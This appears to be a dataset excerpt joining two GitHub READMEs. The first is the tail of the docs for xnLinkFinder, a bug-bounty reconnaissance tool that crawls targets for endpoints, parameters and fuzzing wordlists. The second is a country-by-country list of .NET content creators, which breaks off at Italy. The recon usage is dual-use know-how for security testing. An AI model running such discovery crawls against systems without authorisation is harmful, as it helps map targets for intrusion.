| -sTO | โ | Stop when > 95 percent of requests time out (default: false) |
| -sCE | โ | Stop when > 95 percent of requests have connection errors (default: false) |
| -m | --memory-threshold | The memory threshold percentage. If the machines memory goes above the threshold, the program will be stopped and ended gracefully before running out of memory (default: 95) |
| -mfs | --max-file-size โ | The maximum file size (in bytes) of a file to be checked if -i is a directory. If the file size is over, it will be ignored (default: 500 MB). Setting to 0 means no files will be ignored, regardless of size. |
| -rp | --replay-proxyโ | For active link finding with URL (or file of URLs), replay the requests through this proxy. |
| -ascii-only | | Whether links and parameters will only be added if they only contain ASCII characters. This can be useful when you know the target is likely to use ASCII characters and you also get a number of false positives from binary files for some reason. |
| -mtl | --max-time-limit | The maximum time limit (in minutes) to run before stopping (default: 0). If 0 is passed, there is no limit. |
| | --config | Path to the YML config file. If not passed, it looks for file `config.yml` in the default directory, typically `~/.config/xnLinkFinder`. |
| -nwlpl | --no-wordlist-plurals | When words are found for a target specific wordlist, by default new words are added if there is a singular word from a plural, and vice versa. If this argument is used, this process is not done. |
| -nwlpw | --no-wordlist-pathwords | By default, any path words found in the links will be processed for the target specific wordlist. If this argument is used, they will not be processed. **NOTE: if the YAML config value of `respParamPathWords` is `True` then this argument will not have any effect unless `-nwlpm`/`--no-wordlist-parameters` is also passed.** |
| -nwlpm | --no-wordlist-parameters | By default, any parameters found in the links will be processed for the target specific wordlist. If this argument is used, they will not be processed. |
| -nwlc | --no-wordlist-comments | By default, any comments in pages will be processed for the target specific wordlist. If this argument is used, they will not be processed. |
| -nwlia | --no-wordlist-imgalt | By default, any image 'alt' attributes will be processed for the target specific wordlist. If this argument is used, they will not be processed. |
| -nwld | --no-wordlist-digits | Exclude any words from the target specific wordlist with numerical digits in. |
| -nwll | --no-wordlist-lowercase | By default, any word added with any uppercase characters in will also add the word in lowercase. If this argument is used, the lowercase words will not be added. |
| -wlml | --wordlist-maxlen | The maximum length of words to add to the target specific wordlist, excluding plurals (default: 0 - no limit) |
| -swf | --stopwords-file | A file of additional Stop Words (in addition to "stopWords" in the YML Config file) used to exclude words from the target specific wordlist. Stop Words are used in Natural Language Processing and different lists can be found in different libraries. You may want to add words in different languages, depending on your target. |
| -brt | --burpfile-remove-tags | When the input passed with `-i` is a Burp file, the user is asked interactively whether they want to remove unnecessary tags from that file (sometimes there is a problem in Burp XML files that can often be resolved by removing unnecessary tags which will also make the file smaller). If you are using xnLinkFinder in a script, you don't want to break for user input, so you can set that by passing this argument with a `true` or `false`. NOTE: This is a permanent change to the file |
| -nb | --no-banner | Hides the tool banner. |
| -v | --verbose | Verbose output |
| -vv | --vverbose | Increased verbose output |
| | --version | Show current version number. |
| -h | --help | show the help message and exit |
โ NOT RELEVANT FOR INPUT OF DIRECTORY, BURP XML FILE, OWASP ZAP FILE OR CAIDO CSV FILE
## config.yml
The `config.yml` file (typically in `~/.config/xnLinkFinder/`) has the keys which can be updated to suit your needs:
- `linkExclude` - A comma separated list of strings (e.g. `.css,.jpg,.jpeg` etc.) that all links are checked against. If a link includes any of the strings then it will be excluded from the output. If the input is a directory, then file names are checked against this list.
- `contentExclude` - A comma separated list of strings (e.g. `text/css,image/jpeg,image/jpg` etc.) that all responses `Content-Type` headers are checked against. Any responses with the these content types will be excluded and not checked for links.
- `fileExtExclude` - A comma separated list of strings (e.g. `.zip,.gz,.tar` etc.) that all files in Directory mode are checked against. If a file has one of those extensions it will not be searched for links. Also, in normal mode, if a response doesn't have a content-type to check for exclusions, it will check for these extensions at the end of the URL to determine if to search for links.
- `regexFiles` - A list of file types separated by a pipe character (e.g. `php|php3|php5` etc.). These are used in the Link Finding Regex when there are findings that aren't obvious links, but are interesting file types that you want to pick out. If you add to this list, ensure you escape any dots to ensure correct regex, e.g. `js\.map`
- `respParamLinksFound` โ - Whether to get potential parameters from links found in responses: `True` or `False`
- `respParamPathWords` โ - Whether to add path words in retrieved links as potential parameters: `True` or `False`
- `respParamJSON` โ - If the MIME type of the response contains JSON, whether to add JSON Key values as potential parameters: `True` or `False`
- `respParamJSVars` โ - Whether javascript variables set with `var`, `let` or `const` are added as potential parameters: `True` or `False`
- `respParamXML` โ - If the MIME type of the response contains XML, whether to add XML attributes values as potential parameters: `True` or `False`
- `respParamInputField` โ - If the MIME type of the response contains HTML, whether to add NAME and ID attributes of any INPUT fields as potential parameters: `True` or `False`
- `respParamMetaName` โ - If the MIME type of the response contains HTML, whether to add NAME attributes of any META tags as potential parameters: `True` or `False`
- `wordsContentTypes` - A comma separated list of strings (e.g. `text/html,text/plain`) to specify which response content types will be searched for words to go in the target specific wordlist.
- `stopWords` - A comma separated list of strings (e.g. `then,this,that`) to specify words that are excluded from the target specific wordlist. This default list is initially made up of English determiners, coordinating conjuctions and prepositions, plus a list of stop words from Scikit-Learn, a python machine learning library.
โ IF THESE ARE NOT FOUND IN THE CONFIG FILE THEY WILL DEFAULT TO `True`
## Examples
### Find Links from a specific target - Basic
```
xnLinkFinder -i target.com -sf target.com
```
### Find Links from a specific target - Detailed
Ideally, provide scope prefix (`-sp`) with the primary domain (including schema), and a scope filter (`-sf`) to filter the results only to relevant domains (this can be a file or in scope domains). Also, you can pass cookies and customer headers to ensure you find links only available to authorised users.
Specifying the User Agent (`-u desktop mobile`) will first search for all links using desktop User Agents, and then try again using mobile user agents. There could be specific endpoints that are related to the user agent given. Giving a depth value (`-d`) will keep sending request to links found on the previous depth search to find more links.
```
xnLinkFinder -i target.com -sp target_prefix.txt -sf target_scope.txt -spo -inc -vv -H 'Authorization: Bearer XXXXXXXXXXXXXX' -c 'SessionId=MYSESSIONID' -u desktop mobile -d 10
```
### Find Links from a list of URLs - Basic
If you have a file of JS file URLs for example, you can look for links in those:
```
xnLinkFinder -i target_js.txt -sf target.com
```
### Find Links from a files in a directory - Basic
If you have a files, e.g. JS files, HTTP responses, etc. you can look for links in those:
```
xnLinkFinder -i ~/.config/waymore/results/target.com
```
NOTE: Sub directories are also checked. The `-mfs` option can be specified to skip files over a certain size.
### Find Links from a Burp project - Basic
In Burp, select the items you want to search by highlighting the scope for example, right clicking and selecting the `Save selected items`. Ensure that the option `base64-encode requests and responses` option is checked before saving.
To get all links from the file (even with HUGE files, you'll be able to get all the links):
```
xnLinkFinder -i target_burp.xml
```
NOTE: xnLinkFinder makes the assumption that if the first line of the file passed with `-i` starts with `<?xml` then you are trying to process a Burp file.
### Find Links from a Burp project - Detailed
Ideally, provide scope prefix (`-sp`) with the primary domain (including schema), and a scope filter (`-sf`) to filter the results only to relevant domains.
```
xnLinkFinder -i target_burp.xml -o target_burp.txt -sp https://www.target.com -sf target.* -ow -spo -inc -vv
```
### Find Links from an OWASP ZAP project - Basic
In ZAP, select the items you want to search by highlighting the History for example, clicking menu `Export` and selecting `Export Messages to File...`. This will let you save an ASCII text file of all requests and responses you want to search.
To get all links from the file (even with HUGE files, you'll be able to get all the links):
```
xnLinkFinder -i target_zap.txt
```
NOTE: xnLinkFinder makes the assumption that if the first line of the file passed with `-i` is in the format `==== 99 ==========` (v2.11.1) or `===99 ==========` (v2.12) for example, then you are trying to process an OWASP ZAP ASCII text file.
### Find Links from a Cadio export CSV file - Basic
In Caido, go to the **History** section and select the **Export** option.
If you are using Caido Pro or Enterprise edition, then choose the **Export current rows** option and pick **As CSV**. Go to the **Exports** section and download the CSV file. Then pass as input:
```
xnLinkFinder -i 2023-03-18-010332_csv_requests.csv
```
If you are using Caido Community edition, then you will have to choose the **Export all** option and pick **As CSV**. Go to the **Exports** section and download the CSV file. As you have the full history, you will want to remove anything that is not relevant from the CSV file. Use the example below, where `redbull` is the main part of the domains of the target you are looking at.
```
cat 2023-03-18-010332_csv_requests.csv | grep -E '^id|^[0-9]+,[^,]*redbull' > caido_redbull.csv
xnLinkFinder -i caido_redbull.csv
```
NOTE: xnLinkFinder makes the assumption that if the first line of the file passed with `-i` is in the format `id,host,method`, then you are trying to process a Caido export CSV file.
### Find Links from a Waymore results directory
The [waymore](https://github.com/xnl-h4ck3r/waymore) tool can be used to get URLs from various third party APIs, and also download archived responses from archive.org (Wayback Machine). Passing a waymore results directory to `xnLinKFinder` will search the contents of archived responses, and also request URLs from `waymore.txt` and also the archived URLs from `index.txt` and get more links from those responses.
```
xnLinkFinder -i ~/Tools/waymore/results/target.com
```
NOTE: It is passed as a normal directory, but xnLinkFinder will determine it is a waymore results directory and process respectively. This relies on the default naming convention of the URLs file being `waymore.txt` and that file being in the same directory as the archived files (which it is by default).
### Piping to other Tools
You can pipe xnLinkFinder to other tools. Any errors are sent to `stderr` and any links found are sent to `stdout`. The output file is still created in addition to the links being piped to the next program. However, potential parameters are not piped to the next program, but they are still written to file. For example:
```
xnLinkFinder -i redbull.com -sp https://redbull.com -sf rebbull.* -d 3 | unfurl keys | sort -u
```
You can also pass the input through `stdin` instead of `-i`.
```
cat redbull_subs.txt | xnLinkFinder -sp https://redbull.com -sf rebbull.* -d 3
```
NOTE: You can't pipe in a Burp, ZAP or Caido file, these must be passed using `-i`.
## Recommendations and Notes
- Always use the Scope Prefix argument `-sp`. This can be one scope domain, or a file containing multiple scope domains.
Below are examples of the format used (no path should be included, and no wildcards used. Schema is optional, but will default to http):
```
http://www.target.com
https://target-payments.com
https://static.target-cdn.com
```
If a link is found that has no domain, e.g. `/path/to/example.js` then giving passing `-sp http://www.target.com` will result in teh output `http://www.target.com/path/to/example.js` and if Depth (`-d`) is >1 then a request will be able to be made to that URL to search for more links. If a file of domains are passed using `-sp` then the output will include each domain followed by `/path/to/example.js` and increase the chance of finding more links.
- If you use `-sp` but still want the original link of `/path/to/example.js` (without a domain) additionally returned in the output, the pass the argument `-spo`.
- Always use the Scope Filter argument `-sf`. This will ensure that only relevant domains are returned in the output, and more importantly if Depth (`-d`) is >1 then out of scope targets will not be searched for links or parameters. This can be one scope domain, or a file containing multiple scope domains. Below are examples of the format used (no schema or path should be included):
```
target.*
target-payments.com
static.target-cdn.com
```
THIS IS FOR FILTERING THE LINKS DOMAIN ONLY.
- If you want to filter the final output in any way, use `-ra`. It's always a good idea to use https://regex101.com/ to check your Regex expression is going to do what you expect.
- Use the `-v` option to have a better idea of what the tool is doing.
- If you have problems, use the `-vv` option which may show errors that are occurring, which can possibly be resolved, or you can raise as an issue on github.
- Pass cookies (`-c`), headers (`-H`) and regex (`-ra`) values within single quotes, e.g. `-ra '/api/v[0-9]\.[0-9]\*'`
- Set the `-o` option to give a specific output file name for Links, rather than the default of `output.txt`. If you plan on running a large depth of searches, start with 2 with option `-v` to check what is being returned. Then you can increase the Depth, and the new output will be appended to the existing file, unless you pass `-ow`.
- Set the `-op` option to give a specific output file name for Potential Parameters, rather than the default of `parameters.txt`. Any output will be appended to the existing file, unless you pass `-ow`.
- If using a high Depth (`-d`) be wary of some sites using dynamic links so will it will just keep finding new ones. If no new links are being found, then xnlLinkFinder will stop searching. Providing the Stop flags (`s429`, `s403`, `sTO`, `sCE`) should also be considered.
- If you are finding a large number of links, especially if the Depth (`-d` value) is high, and have limited resources, the program will stop when it reaches the memory Threshold (`-m`) value and end gracefully with data intact before getting killed.
- If you decide to cancel xnLinkFinder (using `Ctrl-C`) in the middle of running, be patient and any gathered data will be saved before ending gracefully.
- Using the `-orig` option will show the URL where the link was found. This can mean you have duplicate links in the output if the same link was found on multiple sources, but it will suffixed with the origin URL in square brackets.
- When making requests, xnLinkFinder will use a random User-Agent from the current group, which defaults to `desktop` (unless the `-uc`/`--user-agent-custom` argument is used). If you have a target that could have different links for different user agent groups, then specify `-u desktop mobile` for example (separate with a space). The `mobile` user agent option is an combination of `mobile-apple`, `mobile-android` and `mobile-windows`. Possible values are `desktop`, `mobile`, `set-top-boxes` and `game-console`.
- When `-i` has been set to a directory, the contents of the files in the root of that directory will be searched for links. Files in sub-directories are not searched. Any files that are over the size set by `-mfs` (default: 500 MB) will be skipped.
- When using the `-replay-proxy` option, sometimes requests can take longer. If you start seeing more `Request Timeout` errors (you'll see errors if you use `-v` or `-vv` options) then consider using `-t` to raise the timeout limit.
- If you know a target will only have ASCII characters in links and parameters then consider passing `-ascii-only`. This can eliminate a number of false positives that can sometimes get returned from binary data.
- If you pass a [waymore](https://github.com/xnl-h4ck3r/waymore) results directory, it is worth passing the `-d`/`--depth` argument to search any extra links found from URL requests and also the `-u`/`--user-agent` if you think there could be different content found, e.g. `-u desktop mobile`.
- Always pass the `-owl`/`--output-wordlist` filename to save the target specific wordlist. This list can be very useful when fuzzing a target.
- The words for the target specific wordlist are taken from the following sources (any of 3 characters or more), but are also determined by the other wordlist arguments (see Usage section above):
- All responses with certain conditions:
- Only responses with content types specific in the YML config `wordsContentTypes` section are searched. The defaults are `text/html`,`application/xml`,`application/json`,`text/plain`
- Words from `<meta>` tag content where:
- `Property` is `og:title` or `og:description`
- `Name` is `description`,`keywords`,`twitter:title` or `twitter:description`
- Words from HTML comments
- Words from `alt` attribute of `<img>` tags
- Words from the rest of the inner HTML of the page, excluding tags `<style>`, `<script>` and `<link`>
- Words found from path words in links found.
- Parameters found from responses and links.
- All valid words will also have the singular/plural version added to the wordlist if possible.
- If the original word has any upper case characters, a lower case version will also be added
- If the default "Stop Words" for a target specific wordlist are not good enough, either change in the YML config file, or provide additional stop words using the `-swf`/`--stopwords-file` option. You may want to include stop words in another language, depending on the target. Stop words are used in Natural Language Processing (NLP) and many stop word lists can be found online to suit different needs.
## Issues
If you come across any problems at all, or have ideas for improvements, please feel free to raise an issue on Github. If there is a problem, it will be useful if you can provide the exact command you ran and a detailed description of the problem. If possible, run with `-vv` to reproduce the problem and let me know about any error messages that are given.
## TODO
- I seem to have completed all the TODO's I originally had! If you think of any that need adding, let me know ๐ค
## Example output
Active link finding for a domain:
<center><img src="https://github.com/xnl-h4ck3r/xnLinkFinder/blob/main/xnLinkFinder/images/example1a.png"></center>
...
<center><img src="https://github.com/xnl-h4ck3r/xnLinkFinder/blob/main/xnLinkFinder/images/example1b.png"></center>
Piped input and output:
<center><img src="https://github.com/xnl-h4ck3r/xnLinkFinder/blob/main/xnLinkFinder/images/example2.png"></center>
Good luck and good hunting!
If you really love the tool (or any others), or they helped you find an awesome bounty, consider [BUYING ME A COFFEE!](https://ko-fi.com/xnlh4ck3r) โ (I could use the caffeine!)
๐ค /XNL-h4ck3r
<a href='https://ko-fi.com/B0B3CZKR5' target='_blank'><img height='36' style='border:0px;height:36px;' src='https://storage.ko-fi.com/cdn/kofi2.png?v=3' border='0' alt='Buy Me a Coffee at ko-fi.com' /></a>
| A python tool used to discover endpoints, potential parameters, and a target specific wordlist for a given target | null | 35 | 2 | 3 | 83 | 2 | 1 | 0 |
matthiasjost/dotnet-content-creators | # :zap: My Favourite .NET Content Creators
Please also see [WeAreDotnet](https://www.WeAreDotnet.io), a community for .NET content creators (founded by Tim [@TimCadenbach](https://twitter.com/TimCadenbach) and Matthias [@jost0101](https://twitter.com/jost0101))
The repo accepts new updates, but the amount of effort the maintainer puts into it has been reduced.
Most entries are from 2022/2023. I am still reviewing and merging PRs from you.
## โ๏ธ What Are Creators?
By creators, we mean enthusiasts who create content for Blogs, YouTube, Twitch, Books, and tutorial platforms (e.g. Pluralsight). The content can be free or paid.
## ๐ฃ๏ธ Language
We only list creators and channels with English content.
## ๐ Why Does The Country Sort The List?
The country doesn't matter, but it is a way to divide the List into sections and challenge everyone to find good creators from all countries.
## ๐บ What Are Channels?
Channels contain the links on which the creator is most active.
## โ๏ธ How To Contribute?
Add your favourite creators by creating a PR.
- Channels: Max. 5 links
- Tags: Max. 5 tags
## :calendar: 2022/23
All creators under this section must have published something in 2022 or 2023.
### Argentina
<img src="4x3/ar.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Daniel Cazzulino | [Blog](https://www.cazzulino.com/), [Twitter](https://twitter.com/kzu), [LinkedIn](https://www.linkedin.com/in/danielcazzulino/) | .NET, C# |
### Australia
<img src="4x3/au.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Christian Findlay | [Blog](https://christianfindlay.com), [Twitter](https://twitter.com/cfdevelop), [Mastodon](https://fosstodon.org/@cfdevelop) | .NET, C# |
| Jason Taylor | [Blog](https://jasontaylor.dev/), [LinkedIn](https://www.linkedin.com/in/jasontaylordev/), [Twitter](https://twitter.com/jasontaylordev) | .NET
| Les Jackson | [YouTube](https://www.youtube.com/c/binarythistle), [Blog](https://dotnetplaybook.com/), [Twitter](https://twitter.com/binarythistle), [Linktree](https://linktr.ee/binarythistle) | .NET MAUI, ASP.NET Core, Blazor |
| Rahul Nath | [YouTube](https://www.youtube.com/c/RahulNath), [Twitter](https://twitter.com/rahulpnath), [LinkedIn](https://www.linkedin.com/in/rahulpnath/) | ASP.NET Core, .NET on AWS |
| Rahul Rai | [Blog](https://thecloudblog.net), [LinkedIn](https://www.linkedin.com/in/rahulrai-in/), [Twitter](https://twitter.com/rahulrai_in) | Azure, Kubernetes |
### Austria
<img src="4x3/at.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Christian Nagel | [Blog](https://csharp.christiannagel.com), [Twitter](https://twitter.com/ChristianNagel) | .NET, C# |
| Wolfgang Ziegler | [Blog](https://wolfgang-ziegler.com/), [Mastodon](https://fosstodon.org/@wolfgang@hachyderm.io), [LinkedIn](https://www.linkedin.com/in/wolfgangz/) | .NET MAUI, C# |
### Bahrain
<img src="4x3/bh.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Naweed Akram | [Blog](https://blogs.xgenoapps.com/), [Twitter](https://twitter.com/xgeno), [YouTube](https://www.youtube.com/@naweedakram), [LinkedIn](https://www.linkedin.com/in/naweed/) | .NET MAUI |
### Bosnia and Herzegovina
<img src="4x3/ba.svg" height="35">
| Name | Channels | Tags |
|--------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------|
| Admir Mujkic | [Blog](https://admirlive.medium.com/), [LinkedIn](https://www.linkedin.com/in/admir-live/) | .NET, Architecture, C#, Ai, EF Core |
### Belgium
<img src="4x3/be.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Kevin Dockx | [Blog](https://www.kevindockx.com/), [GitHub](https://github.com/kevindockx), [Pluralsight](https://www.pluralsight.com/authors/kevin-dockx), [Twitter](https://twitter.com/kevindockx) | .NET, Architecture, C#, ASP.NET Core, EF Core |
| Maarten Balliauw | [Blog](https://blog.maartenballiauw.be/), [LinkedIn](https://www.linkedin.com/in/maartenballiauw/), [Mastodon](https://mastodon.online/@maartenballiauw), [Twitter](https://twitter.com/maartenballiauw) | .NET, C#, ASP.NET Core |
### Canada
<img src="4x3/ca.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Anthony Giretti | [Blog](https://anthonygiretti.com/), [Twitter](https://twitter.com/anthonygiretti), [LinkedIn](https://www.linkedin.com/in/anthony-g-98670426/), [gRPC/ASP.NET (Book)](https://www.amazon.com/Beginning-gRPC-ASP-NET-Core-Applications/dp/1484280075) | .NET, C# |
| Derek Comartin | [YouTube](https://www.youtube.com/channel/UC3RKA4vunFAfrfxiJhPEplw), [Blog](https://codeopinion.com), [LinkedIn](https://www.linkedin.com/in/dcomartin/), [Twitter](https://twitter.com/codeopinion) | Architecture, .NET |
| Frank Liu | [YouTube](https://www.youtube.com/c/FrankLiuSoftware/), [Site](https://frankliucs.com), [Blog](https://frankliucs.com/blog/), [Twitter](https://twitter.com/frankliucs) | Blazor, ASP.NET Core |
| Gรฉrald Barrรฉ | [Blog](https://www.meziantou.net/), [Twitter](https://twitter.com/meziantou), [Mastodon](https://hachyderm.io/@meziantou), [GitHub](https://github.com/meziantou), [LinkedIn](https://www.linkedin.com/in/meziantou/) | .NET, ASP.NET Core, Blazor, C# |
| Jhonatan Oliveira | [Blog](https://blog.jhonatanoliveira.dev/), [GitHub](https://github.com/jhonatanfernando), [Twitter](https://twitter.com/jhonatanfoliv), [LinkedIn](https://www.linkedin.com/in/jhonatanfernando/) | .NET, C#, ASP.NET Core, .NET MAUI
| Jonathan Dick | [GitHub](https://github.com/redth), [Blog](https://redth.codes/), [Twitter](https://twitter.com/redth), [Mastodon](https://mas.to/@redth) | Microsoft, .NET MAUI, Xamarin, C# |
| Nick Cosentino (Dev Leader) | [Website](https://www.devleader.ca), [YouTube](https://www.youtube.com/@devleader), [TikTok](https://www.tiktok.com/@devleader), [Twitter](https://www.twitter.com/devleaderca), [All Dev Leader Links](https://linktr.ee/devleader) | .NET, C#, Tutorials, Microsoft, Unity3D |
| Richard Campbell | [Podcast (.NET Rocks!)](https://www.dotnetrocks.com/), [LinkedIn](https://www.linkedin.com/in/richjcampbell/), [Twitter](https://twitter.com/richcampbell) | Podcast, .NET |
### Costa Rica
<img src="4x3/cr.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Josรฉ Pablo Ramรญrez Vargas | [Blog](https://webjose.hashnode.dev), [LinkedIn](https://www.linkedin.com/in/jos%C3%A9-pablo-ram%C3%ADrez-vargas-308b6180/), [Mastodon](https://dotnet.social/@webJose), [GitHub](https://github.com/webJose) | Architecture, .NET, ASP.NET Core, C# |
### Czechia Republic
<img src="4x3/cz.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Martin Zikmund | [Blog](https://blog.mzikmund.com/), [Twitter](https://twitter.com/mzikmunddev) | .NET, C#, Uno Platform |
### Denmark
<img src="4x3/dk.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Erik Ejlskov Jensen | [Blog](https://erikej.github.io/), [Twitter](https://twitter.com/erikej) | EF Core, ADO.NET
| Mark Seemann | [Blog](https://blog.ploeh.dk/), [Twitter](https://twitter.com/ploeh) | Architecutre, .NET, F#
| Niels Pilgaard | [Blog](https://pilgaard-blog.azurewebsites.net/), [Twitter](https://twitter.com/Niels_Pilgaard) | Blazor, C#, Azure
### Dominican Republic
<img src="4x3/do.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Leomaris Reyes | [Blog](https://askxammy.com/), [LinkedIn](https://www.linkedin.com/in/leomaris-reyes-1b598661), [Telerik](https://www.telerik.com/blogs/author/leomaris-reyes), [Twitter](https://twitter.com/leomarisreyes11) | .NET MAUI, Xamarin |
| Steven Checo | [Blog](https://checox.com) | .NET MAUI |
### Egypt
<img src="4x3/eg.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Shady Nagy | [Blog](https://shadynagy.com/), [Twitter](https://twitter.com/ShadyNagy_) | .NET, ASP.NET Core |
| Ahmed Tarek | [Website](https://developmentsimplyput.com), [Blog](https://developmentsimplyput.com/blog), [LinkedIn](https://www.linkedin.com/in/atarekhasan), [Twitter](https://twitter.com/AhmedTarekHasa1) | .NET, ASP.NET Core |
### France
<img src="4x3/fr.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Alexandre Nedelec | [Blog](https://www.techwatching.dev/), [Twitter](https://twitter.com/TechWatching), [LinkedIn](https://www.linkedin.com/in/alexandre-n%C3%A9d%C3%A9lec-24565549/) | .NET, C#, Azure |
| Alexis Chรขn GRIDEL | [Blog](https://agdl.dev), [Twitter](https://twitter.com/alexiscgridel), [LinkedIn](https://www.linkedin.com/in/alexisgridel/) | C#, .NET |
| Cyril Canovas | [Blog](https://goatreview.com/) | .NET, Akka.NET, Architecture |
| Daniel Lawson | [Twitter Threads](https://github.com/danylaws/my-twitter-threads), [Twitter](https://twitter.com/danylaws), [GitHub](https://github.com/danylaws) | C#, AWS |
| Jรฉrรฉmy BRUN-PICARD | [Blog](https://www.respawnsive.com/en/author/jeremy-brunpicardrespawnsive-com/), [Twitter](https://twitter.com/jbrunpicard), [LinkedIn](https://www.linkedin.com/in/jeremybrunpicard/) | .NET, Xamarin/MAUI, Architecture |
| Kevin Gosse | [Twitter](https://twitter.com/KooKiz), [Blog](https://minidump.net/) | .NET, C# |
| Laurent Egbakou | [Blog](https://lioncoding.com), [Twitter](https://twitter.com/lioncoding) | .NET, Azure |
| Laurent Kempรฉ | [Blog](https://laurentkempe.com/), [Twitter](https://twitter.com/laurentkempe), [LinkedIn](https://www.linkedin.com/in/laurentkempe/) | .NET, C#, WebAssembly |
| Pierre Belin | [Blog](https://goatreview.com/), [LinkedIn](https://www.linkedin.com/in/pierre-belin/) | .NET, Akka.NET |
| Martin Finkel | [Blog](https://mfkl.github.io), [Twitter](https://twitter.com/martz2804), [LinkedIn](https://www.linkedin.com/in/martin-finkel-a9368571/), [Bio.Link](https://bio.link/mfkl) | NET, Architecture |
### Germany
<img src="4x3/de.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Holger Schwichtenberg | [Twitter](https://twitter.com/DOTNETDOKTOR) | .NET, C# |
| Julian Ewers-Peters | [Blog](https://ewerspej.hashnode.dev), [LinkedIn](https://linkedin.com/in/jewerspeters) | .NET, C#, MVVM, .NET MAUI, Xamarin.Forms |
| Patrick God | [Twitter](https://twitter.com/_PatrickGod), [YouTube](https://www.youtube.com/c/PatrickGod) | .NET, C#, ASP.NET Core, Blazor, EF Core |
| Thomas Claudius Huber | [Pluralsight](https://app.pluralsight.com/profile/author/thomas-huber), [Twitter](https://twitter.com/thomasclaudiush) | .NET, C#, Blazor, WinUI 3 |
| Tim Cadenbach | [Blog](https://www.tcdev.de/blog), [Twitter](https://twitter.com/timcadenbach) | .NET Core, ASP.NET Core |
### Greece
<img src="4x3/gr.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Spyros Katsios | [YouTube](https://www.youtube.com/@spyroskatsios) | .NET, C# |
### India
<img src="4x3/in.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Abdul Rahman | [Site](https://www.ilovedotnet.org), [LinkedIn](https://www.linkedin.com/in/fingers10/) | C#, .NET |
| Aditya Oberai | [Twitter](https://twitter.com/adityaoberai1), [LinkedIn](https://www.linkedin.com/in/adityaoberai1/), [Videos](https://oberai.dev/videos), [Blog](https://dev.to/adityaoberai/) | .NET, ASP.NET Web APIs, .NET MAUI, Azure |
| Anto Subash | [YouTube](https://www.youtube.com/c/AntoSubash), [Blog](https://blog.antosubash.com), [Twitter](https://twitter.com/antosubash) | .NET, Docker, ABP Framework |
| Anurag Sinha | [Blog](https://techncodetools.com/blog/), [Twitter](https://twitter.com/awesomeanurag) | C#, .NET |
| Bhrugen Patel | [YouTube](https://www.youtube.com/user/bhrugen1990), [Courses](https://www.dotnetmastery.com/) | .NET, ASP.NET Core, Blazor |
| Mukesh Murugan | [Blog](https://codewithmukesh.com/blog), [Twitter](https://twitter.com/iammukeshm), [LinkedIn](https://www.linkedin.com/in/iammukeshm/) | .NET, AWS |
| Nouman Rahman | [Blog](https://programmingfire.com), [Twitter](https://twitter.com/programmingfire) | .NET, C# |
| Saineshwar Bageri | [Blog](https://tutexchange.com), [Twitter](https://twitter.com/saihacksoft) | .NET, ASP.NET Core |
| Shailendra Chauhan | [YouTube](https://www.youtube.com/channel/UCuYuSB7JzDslrwwh8EM-4JA), [Twitter](https://twitter.com/proshailendra) | .NET, ASP.NET Core |
| Shivprasad Koirala | [YouTube](https://www.youtube.com/c/questpondvideos), [Twitter](https://twitter.com/questpond) | C#, .NET |
| Shreyas Jejurkar | [Blog](https://shreyasjejurkar.com) | .NET, ASP.NET Core |
| Tarun Saini | [YouTube](https://www.youtube.com/c/ASPNETMVCCORE), [Twitter](https://twitter.com/onetarun) | .NET, ASP.NET Core |
| Zahiruddin Tavargere | [Twitter](https://twitter.com/zahiruddin_t), [Blog](https://zahere.com/) | .NET, C# |
### Iran
<img src="4x3/ir.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Meysam Hadeli | [GitHub](https://github.com/meysamhadeli), [Twitter](https://twitter.com/meysamhadeli), [Blog](https://meysamhadeli.com) | Microservices, .NET, ASP.NET Core |
| Mehdi Hadeli | [GitHub](https://github.com/mehdihadeli), [Twitter](https://twitter.com/mehdi_hadeli), [Blog](https://www.mehdihadeli.com/), [Blog RSS](https://www.mehdihadeli.com/rss) | Architecture, .NET, ASP.NET Core |
| Mohsen Rajabi | [GitHub](https://github.com/EngRajabi), [Twitter](https://twitter.com/mohsen_rajabi72), [Blog](https://medium.com/@mohsen_rajabi) | Microservices, .NET, ASP.NET Core, C# |
Omid Ahmadpour | [GitHub](https://github.com/omid-ahmadpour), [LinkedIn](https://www.linkedin.com/in/omid-ahmadpour/), [YouTube](https://www.youtube.com/@withcodess), [Blog](https://medium.com/@omid-ahmadpour) | Microservices, .NET, C#, Clean Architecture, Clean Code, Azure |
| Saeed Esmaeelinejad | [LinkedIn](https://www.linkedin.com/in/saeed-esmaeelinejad/) | C#, EF, SQL Server, ASP.NET |
### Ireland
<img src="4x3/ie.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Camilo Terevinto | [Blog](https://www.camiloterevinto.com), [LinkedIn](https://www.linkedin.com/in/camiloterevinto/), [Twitter](https://twitter.com/CTerevinto), [Blog RSS](https://www.camiloterevinto.com/rss.xml) | C#, ASP.NET Core, Azure |
| Dave Callan | [LinkedIn](https://www.linkedin.com/in/davidcallan/), [Twitter](https://twitter.com/DaveCallanIE) | C#, .NET, Visual Studio |
| Dominic Frei | [LinkedIn](https://www.linkedin.com/in/dominicfrei/), [Twitter](https://twitter.com/dominicfrei), [GitHub](https://github.com/DominicFrei), [Blog](https://www.mongodb.com/developer/author/dominic-frei/) | .NET, C#, Blazor, Unity3D, MongoDB |
### Israel
<img src="4x3/il.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
| Amichai Mantinband | [YouTube](https://www.youtube.com/c/AmichaiMantinband/), [Twitter](https://twitter.com/amantinband/), [LinkedIn](https://www.linkedin.com/in/amantinband/) | .NET, ASP.NET Core |
### Italy
<img src="4x3/it.svg" height="35">
| Name | Channels | Tags |
| --- | --- | --- |
